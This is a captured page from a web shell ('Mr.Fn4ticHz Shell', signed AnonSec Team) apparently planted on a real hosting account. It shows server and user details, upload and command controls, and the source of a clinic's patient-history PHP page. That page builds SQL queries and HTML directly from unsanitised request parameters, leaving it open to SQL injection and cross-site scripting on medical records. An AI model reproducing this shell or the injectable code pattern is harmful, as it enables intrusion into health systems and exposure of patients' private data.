Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.141.21.188
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//Medical_surgical_History.php
<?php session_start();
include 'dbconnection.php';
require_once("../patientmanager.php");
require_once("../DBManager.php");
if(isset($_POST['Medical_surgical'])) 
{
   PatientManager::Medicalsurgical("$_GET[prescriptionid]","$_GET[patientid]","$_POST[Information_Obtained_from]","$_POST[specify]","$_POST[relation]","$_POST[Addiction]","$_POST[Alcohol]","$_POST[Smoking]","$_POST[Tobacco]","$_POST[enteredby]");
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="euc-kr">
    <link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
  
  <style>
       .box{
              display: none;
     }
    
    .box2{
              display: none;
    
    }
            
       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
  </style>
  
  
   <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box2").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box2").hide();
            }
        });
    }).change();
});
</script>
    <style>


.center {
   border: 1px solid grey;
   text-align:;
}

</style>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#MS_Form').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:100000000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>

     <style>
    
     .switch {
  position: relative;
  display: inline-block;
  width: 90px;
  height: 34px;
}

.switch input {display:none;}

.slider {
  position: absolute;
  cursor: pointer;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: #ca2222;
  -webkit-transition: .4s;
  transition: .4s;
   border-radius: 34px;
}

.slider:before {
  position: absolute;
  content: "";
  height: 26px;
  width: 26px;
  left: 4px;
  bottom: 4px;
  background-color: white;
  -webkit-transition: .4s;
  transition: .4s;
  border-radius: 50%;
}

input:checked + .slider {
  background-color: #2ab934;
}

input:focus + .slider {
  box-shadow: 0 0 1px #2196F3;
}

input:checked + .slider:before {
  -webkit-transform: translateX(26px);
  -ms-transform: translateX(26px);
  transform: translateX(55px);
}

/*------ ADDED CSS ---------*/
.slider:after
{
 content:'No';
 color: white;
 display: block;
 position: absolute;
 transform: translate(-50%,-50%);
 top: 50%;
 left: 50%;
 font-size: 10px;
 font-family: Verdana, sans-serif;
}

input:checked + .slider:after
{  
  content:'Yes';
}



.center {
   border: 1px solid grey;
   text-align:;
}

</style>

<script>
function myFunction11() {
  var checkBox = document.getElementById("myCheck11");
  var text = document.getElementById("text11");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

function myFunction19() {
  var checkBox = document.getElementById("myCheck19");
  var text = document.getElementById("text19");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
</script>
<div class='center'>
	<br>
<div class='center'>
         <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Medical Assessment</strong></th>
          <th><strong>Status</strong></th> 
          <th><strong>Action</strong></th>
                </tr>
                  </thead>
                  
                 
<?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon] <b>$rs[Specify]</b></td>     
            <td>&nbsp;$rs[Status]</td>
            <td><a href='edit_medicalcon.php?patientid=$rs[patientid]&medicalcoid=$rs[medicalcoid]'>Edit</a></td>
				
          </tr>                   
          
          ";
}
?>          </tr>
                 
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table>
        <?php
        $sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rt = mysqli_fetch_array($qsql))
		{
		    echo"
<a href='medicalcon_nurse.php?patientid=$rt[patientid]'>Add More</a>
";
}
?>
	
	<br>
	</div>
<br>
  <div class='center'><table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
   
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Allergies</strong></th>
          <th><strong>Category</strong></th> 
          <th><strong>Action</strong></th>
                </tr>
                  </thead>
				<?php
		$sql ="SELECT * FROM allergy WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($ra = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$ra[Allergen]</td>     
            <td>&nbsp;$ra[Category]</td>
            <td><a href='edit_alg.php?patientid=$ra[patientid]&allergy_id=$ra[allergy_id]'>Edit</a></td>
				
          </tr>                   
          
          ";
}
?>        </tr>
              
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table> 
        
         <?php
        $sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($ra = mysqli_fetch_array($qsql))
		{
		    echo"
<a href='Allergies.php?patientid=$ra[patientid]'>Add More</a>
";
}
?>
</div>     

<div class='center'>
      <br>

                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
              <th><strong>Vaccination </strong></th>
          <th><strong>Date Given </strong></th> 
          <th><strong>Note </strong></th>         
        </tr>
                  </thead>
                 
<?php
include("dbconnection.php");
		$sql ="SELECT * FROM immunization WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[Vaccine]</td>     
            <td>&nbsp;$rs[DateGiven]</td>
            <td>&nbsp;$rs[Note]</td>
				
          </tr>                   
          
          ";
}
?>          </tr>
                  </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table>
         <?php
		$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
  echo "
             <a href='addimmuni.php?patientid=$rs[patientid]'>Add More</a>
          </a>
          ";
     
        
        echo "</td></tr>";
      }
     
      ?>        
       
					</div>
					
					<div class='center'>
					    <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
<form name="Medical_surgical" method="post" id="MS_Form" >
		
<br>
     <div> <label for="item"> Information Obtained from <span>*</span><select name='Information_Obtained_from'>
        <option value='' disabled selected>Information Obtained from</option>
       <option value='Patient'>Patient</option>
    <option value='Family-Other'>Family/Other</option>
      <option value='Old Chart'>Old Chart</option>
      
      </select>
</div>


		  <p class="Family-Other box">
     <label>Name</label><input type="text" Placeholder='Name' name="specify"><label>Relation</label><input type="text" Placeholder='Relation' name="relation"></p>

	<?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
if(Pregnancy==$rs[casetype])
{
?> 
  <div class="checkbox"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <input name="Insulin" id="myCheck19" onclick="myFunction19()" type="checkbox"><span>Insulin dependent diabetes mellitus </span>
</div>    


<div id="text19" style="display:none">
<label>Type</label>
<select name='insulin_type'>
        <option value='' disabled selected>Type</option>
       <option value='Type 1'>Type-1</option>
    <option value='Type-2'>Type-2</option>
           </select>
</div>
<label for="item"> Last menstrual period 
    <input type='date' name='lmp'>
 
<?php
}
}
?>
    
<div class="checkbox"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <input name="Addiction" id="myCheck11" onclick="myFunction11()" type="checkbox"><span>Addiction </span>
</div>
<div id="text11" style="display:none" >
&nbsp;&nbsp;<div class="checkbox"> &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;<input name="Alcohol" type="checkbox"><span>Alcohol &nbsp;&nbsp;&nbsp;&nbsp; </span>
&nbsp;&nbsp;<input name="Smoking" type="checkbox"><span>Smoking &nbsp;&nbsp;</span>
&nbsp;&nbsp; <input name="Tobacco" type="checkbox"><span>Tobacco &nbsp;&nbsp;</span>
</div></div>
<input type="submit" name="Medical_surgical" value="Submit">
</form>
</div></div>

Anon7 - 2022
AnonSec Team